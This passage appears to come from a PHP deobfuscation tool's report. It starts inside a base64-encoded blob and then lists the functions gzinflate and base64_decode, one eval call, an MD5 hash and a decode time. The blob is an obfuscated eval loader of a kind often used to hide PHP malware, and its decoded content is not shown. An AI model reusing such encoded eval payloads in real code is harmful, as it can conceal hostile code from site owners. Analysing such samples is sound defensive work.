0plZPWSdMBVkWLvl60VUcglIDqDPz+ZATgLDH1oSIJVorABK0FMVrLppru53ipZ9jMcQ77oQYo17Qe5s1wN3kxxU/LON5ed+7Is+5greCERjyXwO+XuFqKL5
D3buJnzH7b2T3mkfh3GX8nQefq/qrouvHLr8xCwyRL0ysCRQVQVGIIZVf4suV728Yp1xeodf1m1K64Sufb2xZsNMCTJP2AQDj7+/w==")));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 e2258ebcc114f81f12c36f5f547089f5
Eval Count 1
Decode Time 96 ms